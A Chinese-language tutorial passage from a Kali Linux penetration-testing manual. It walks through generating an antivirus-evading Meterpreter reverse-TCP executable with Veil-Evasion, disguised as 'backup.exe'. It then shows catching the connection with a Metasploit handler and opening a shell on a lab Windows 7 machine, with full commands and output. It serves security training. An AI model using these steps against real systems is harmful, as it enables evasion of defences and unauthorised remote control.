Kail Linux渗透测试教程之免杀Payload生成工具Veil

时间:2021-06-05 09:13:02

Kail Linux渗透测试教程之免杀Payload生成工具Veil

免杀Payload生成工具——Veil

Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件。本节将介绍Veil工具的安装及使用。

在Kali Linux中,默认没有安装Veil工具。这里首先安装Veil工具,执行如下所示的命令:

  • root@kali:~# apt-get update && apt-get install veil

执行以上命令后,如果安装过程没有提示错误的话,则表示Veil工具安装成功。由于安装该工具依赖的软件较多,所以此过程时间有点长。

启动Veil工具。执行命令如下所示:

  • root@kali:~# veil-evasion

执行以上命令后,将会输出大量的信息。如下所示:

  • =========================================================================
  • Veil First Run Detected... Initializing Script Setup...
  • =========================================================================
  • [*] Executing ./setup/setup.sh
  • =========================================================================
  • Veil-Evasion Setup Script | [Updated]: 01.15.2015
  • =========================================================================
  • [Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
  • =========================================================================
  • [*] Initializing Apt Dependencies Installation
  • [*] Adding i386 Architecture To x86_64 System
  • [*] Updating Apt Package Lists
  • 命中 http://mirrors.ustc.edu.cn kali Release.gpg
  • 命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
  • 命中 http://mirrors.ustc.edu.cn kali Release
  • 命中 http://mirrors.ustc.edu.cn kali/updates Release
  • 命中 http://mirrors.ustc.edu.cn kali/main Sources
  • 命中 http://mirrors.ustc.edu.cn kali/non-free Sources
  • 命中 http://mirrors.ustc.edu.cn kali/contrib Sources
  • 命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
  • 命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
  • 命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
  • 获取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
  • 命中 http://http.kali.org kali Release.gpg
  • 命中 http://security.kali.org kali/updates Release.gpg
  • 命中 http://http.kali.org kali Release
  • ……
  • 忽略 http://http.kali.org kali/non-free Translation-en
  • 下载 17.8 MB,耗时 20秒 (859 kB/s)
  • 正在读取软件包列表... 完成
  • [*] Installing Wine i386 Binaries
  • 正在读取软件包列表... 完成
  • 正在分析软件包的依赖关系树
  • 正在读取状态信息... 完成
  • 将会安装下列额外的软件包:
  • gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
  • libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
  • libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
  • libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
  • [*] Cleaning Up Setup Files
  • [*] Updating Veil-Framework Configuration
  • Veil-Framework configuration:
  • [*] OPERATING_SYSTEM = Kali
  • [*] TERMINAL_CLEAR = clear
  • [*] TEMP_DIR = /tmp/
  • [*] MSFVENOM_OPTIONS =
  • [*] METASPLOIT_PATH = /usr/share/metasploit-framework/
  • [*] PYINSTALLER_PATH = /usr/share/pyinstaller/
  • [*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
  • [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
  • [*] Path '/root/veil-output/source/' Created
  • [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
  • [*] Path '/root/veil-output/compiled/' Created
  • [*] Path '/root/veil-output/handlers/' Created
  • [*] GENERATE_HANDLER_SCRIPT = True
  • [*] HANDLER_PATH = /root/veil-output/handlers/
  • [*] HASH_LIST = /root/veil-output/hashes.txt
  • [*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
  • [*] Path '/root/veil-output/catapult/' Created
  • [*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
  • [*] Path '/etc/veil/' Created
  • Configuration File Written To '/etc/veil/settings.py'

以上信息只有在第一次运行Veil时,才显示。在此过程中,初始化一些脚本、软件包列表、更新配置及安装需要的软件包。在此过程中以图形界面的形式依次安装了Python及它的两个模块pywin32-218和pycrypto-2.6。下面依次进行安装。首先弹出的对话框,如图4.1所示。

该界面是安装Python的初始界面。这里使用默认设置,单击Next按钮,将显示如图4.2所示的界面。

Kail Linux渗透测试教程之免杀Payload生成工具Veil

图4.1  Python初始界面                               图4.2  选择Python安装位置

在该界面单击Next按钮,将显示如图4.3所示的界面。该界面提示C:\Python27已存在,确认是否要覆盖已存在的文件。这里单击yes按钮,将显示如图4.4所示的界面。

 Kail Linux渗透测试教程之免杀Payload生成工具Veil

图4.3  确认Python的安装位置          图4.4  自定义Python

在该界面自定义安装Python的一些功能。这里使用默认的设置,单击Next按钮,将显示如图4.5所示的界面。

 Kail Linux渗透测试教程之免杀Payload生成工具Veil

图4.5  安装完成       图4.6  安装pywin32-218模块界面 

该界面提示Python已经安装完成。此时单击Finish按钮,将显示如图4.6所示的界面。

该界面是要求安装pywin32-218模块。这里单击“下一步”按钮,将显示如图4.7所示的界面。

Kail Linux渗透测试教程之免杀Payload生成工具Veil

图4.7  设置向导        图4.8  准备安装

这里使用默认设置,单击“下一步”按钮,将显示如图4.8所示的界面。

该界面用来确实是否要开始安装。如果确认配置正确的话,单击“下一步”按钮,将显示如图4.9所示的界面。

Kail Linux渗透测试教程之免杀Payload生成工具Veil

图4.9  安装完成                  图4.10  安装pycrypto-2.6模块初始界面 

从该界面可以看到pywin32-218模块已经安装完成。此时单击“结束”按钮,将显示如图4.10所示的界面。

该界面提示需要安装pycrypto-2.6模块。这里单击“下一步”按钮开始安装,如图4.11所示。

 Kail Linux渗透测试教程之免杀Payload生成工具Veil

图4.11  设置向导      图4.12  准备安装

这里使用默认设置,单击“下一步”按钮,将显示如图4.12所示的界面。

该界面提示将要安装pycrypto模块。这里单击“下一步”按钮,将显示如图4.13所示的界面。

 Kail Linux渗透测试教程之免杀Payload生成工具Veil

图4.13  安装完成

  • 从该界面可以看到以上软件包已安装完成。此时单击“结束”按钮,将显示如下所示的信息:
  • =========================================================================
  • Veil-Evasion | [Version]: 2.4.3
  • =========================================================================
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  • =========================================================================
  • Main Menu
  • 24 payloads loaded
  • Available commands:
  • use            use a specific payload
  • info             information on a specific payload
  • list               list available payloads
  • update         update Veil to the latest version
  • clean           clean out payload folders
  • checkvt         check payload hashes vs. VirusTotal
  • exit              exit Veil
  • [>] Please enter a command:

从以上信息中可以看到在Veil下,有24个攻击载荷可加载,并列出了可用的命令。现在就可以进行各种操作了。例如查看可加载的攻击模块,执行命令如下所示:

  • [>] Please enter a command: list
  • =========================================================================
  • Veil-Evasion | [Version]: 2.4.3
  • =========================================================================
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  • =========================================================================
  • [*] Available payloads:
  • 1)      c/meterpreter/rev_tcp
  • 2)      c/meterpreter/rev_tcp_service
  • 3)      c/shellcode_inject/virtual
  • 4)      c/shellcode_inject/void
  • 5)      cs/meterpreter/rev_tcp
  • 6)      cs/shellcode_inject/base64_substitution
  • 7)      cs/shellcode_inject/virtual
  • 8)      native/Hyperion
  • 9)      native/backdoor_factory
  • 10)   native/pe_scrambler
  • 11)   powershell/shellcode_inject/download_virtual
  • 12)   powershell/shellcode_inject/psexec_virtual
  • 13)   powershell/shellcode_inject/virtual
  • 14)   python/meterpreter/rev_http
  • 15)   python/meterpreter/rev_http_contained
  • 16)   python/meterpreter/rev_https
  • 17)   python/meterpreter/rev_https_contained
  • 18)   python/meterpreter/rev_tcp
  • 19)   python/shellcode_inject/aes_encrypt
  • 20)   python/shellcode_inject/arc_encrypt
  • 21)   python/shellcode_inject/base64_substitution
  • 22)   python/shellcode_inject/des_encrypt
  • 23)   python/shellcode_inject/flat
  • 24)   python/shellcode_inject/letter_substitution

从输出的信息中,可以看到有24个可用的攻击载荷。此时可以利用任何一个攻击载荷,进行渗透攻击。

【实例4-9】演示使用Veil工具中的载荷(本例以cs/meterpreter/rev_tcp为例),进行渗透攻击(这里以Windows 7作为攻击靶机)。具体操作步骤如下所示:

(1)启动Veil工具。执行命令如下所示:

  • root@kali:~# veil-evasion

执行以上命令后,将显示如下所示的信息:

  • =========================================================================
  • Veil-Evasion | [Version]: 2.4.3
  • =========================================================================
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  • =========================================================================
  • Main Menu
  • 24 payloads loaded
  • Available commands:
  • use            use a specific payload
  • info             information on a specific payload
  • list               list available payloads
  • update         update Veil to the latest version
  • clean           clean out payload folders
  • checkvt         check payload hashes vs. VirusTotal
  • exit              exit Veil
  • [>] Please enter a command:

在输出的信息中看到[>] Please enter a command:提示符,就表示Veil登录成功了。

(2)选择cs/meterpreter/rev_tcp攻击载荷。在攻击载荷列表中,cs/meterpreter/rev_tcp载荷的编号是5。执行命令如下所示:

  • [>] Please enter a command: use 5
  • =========================================================================
  • Veil-Evasion | [Version]: 2.4.3
  • =========================================================================
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  • =========================================================================
  • Payload: cs/meterpreter/rev_tcp loaded
  • Required Options:
  • Name                          Current Value   Description
  • ----                              -------------           ---------------------------------------
  • LHOST                               IP of the metasploit handler
  • LPORT                     4444    Port of the metasploit handler
  • compile_to_exe             Y         Compile to an executable
  • Available commands:
  • set              set a specific option value
  • info             show information about the payload
  • generate        generate payload
  • back           go to the main menu
  • exit              exit Veil
  • [>] Please enter a command:

输出信息显示了rev_tcp攻击载荷可配置的选项参数。这里默认指定的本地端口(LPORT)是4444,LHOST选项还没有配置。

(3)配置LHOST选项参数,并查看攻击载荷的详细信息。执行命令如下所示:

  • [>] Please enter a command: set LHOST 192.168.6.103
  • [>] Please enter a command: info
  • =========================================================================
  • Veil-Evasion | [Version]: 2.4.3
  • =========================================================================
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  • =========================================================================
  • Payload information:
  • Name:                cs/meterpreter/rev_tcp
  • Language:        cs
  • Rating:               Excellent
  • Description:    pure windows/meterpreter/reverse_tcp stager, no
  • shellcode
  • Required Options:
  • Name                        Current Value         Description
  • ----                                 -----------------        ------------------------------------------
  • LHOST           192.168.6.100        IP of the metasploit handler
  • LPORT           4444                      Port of the metasploit handler
  • compile_to_exe            Y                          Compile to an executable

从输出的信息中,可以看到rev_tcp攻击载荷的详细信息,如攻击载荷名、语言、级别及配置的选项参数等。

(4)此时,使用generate命令生成载荷文件。执行命令如下所示:

  • [>] Please enter a command: generate
  • =========================================================================
  • Veil-Evasion | [Version]: 2.4.3
  • =========================================================================
  • [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  • =========================================================================
  • [*] Press [enter] for 'payload'
  • [>] Please enter the base name for output files: backup                                       #指定输出文件名

在以上命令中指定一个文件名为backup。然后按下回车键,将显示如下所示的信息:

  • [*] Executable written to: /root/veil-output/compiled/backup.exe
  • Language:                         cs
  • Payload:                             cs/meterpreter/rev_tcp
  • Required Options:      LHOST=192.168.6.103  LPORT=4444  compile_to_exe=Y
  • Payload File:                     /root/veil-output/source/backup.cs
  • Handler File:                     /root/veil-output/handlers/backup_handler.rc
  • [*] Your payload files have been generated, don't get caught!
  • [!] And don't submit samples to any online scanner! ;)
  • [>] press any key to return to the main menu:

从输出的信息中可以看到生成一个可执行文件backup.exe,并且该文件保存在/root/veil-output/compiled/中。此时将可执行文件backup.exe发送到目标主机上,就可以利用该攻击载荷了。

接下来需要使用Metasploit创建一个远程处理器,等待目标主机连接到Kali Linux(攻击主机)操作系统。连接成功后,就获取到一个远程Shell命令。

【实例4-10创建远程处理器。具体操作步骤如下所示:

(1)启动MSF终端。

(2)使用handler模块。执行命令如下所示:

  • msf > use exploit/multi/handler

(3)加载reverse_tcp攻击载荷,并设置其选项参数。执行命令如下所示:

  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  • payload => windows/meterpreter/reverse_tcp
  • msf exploit(handler) > set LHOST 192.168.6.103
  • LHOST => 192.168.6.103

(4启动渗透攻击。执行命令如下所示:

  • msf exploit(handler) > exploit
  • [*] Started reverse handler on 192.168.6.103:4444
  • [*] Starting the payload handler...

从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。

此时将前面生成的可执行文件backup.exe发送到目标主机(Windows 7),并运行该可执行文件。然后返回到Kali Linux操作系统,将看到如下所示的信息:

  • [*] Sending stage (769536 bytes) to 192.168.6.110
  • [*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
  • meterpreter >

从以上信息中,可以看到成功打开了一个Meterpreter会话。这表示已成功渗透攻击目标主机,现在就可以进行一些Shell命令。如进行目标主机的Shell环境,执行命令如下所示:

  • meterpreter > shell
  • Process 1544 created.
  • Channel 1 created.
  • Microsoft Windows [�汾 6.1.7601]
  • ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ�
  • C:\Users\bob\Desktop>

输出的信息表示进入了目标系统Windows 7的命令行,并且当前目标系统登录的用户是bob。

本文选自:Kail Linux渗透测试实训手册大学霸内部资料,转载请注明出处,尊重技术尊重IT人!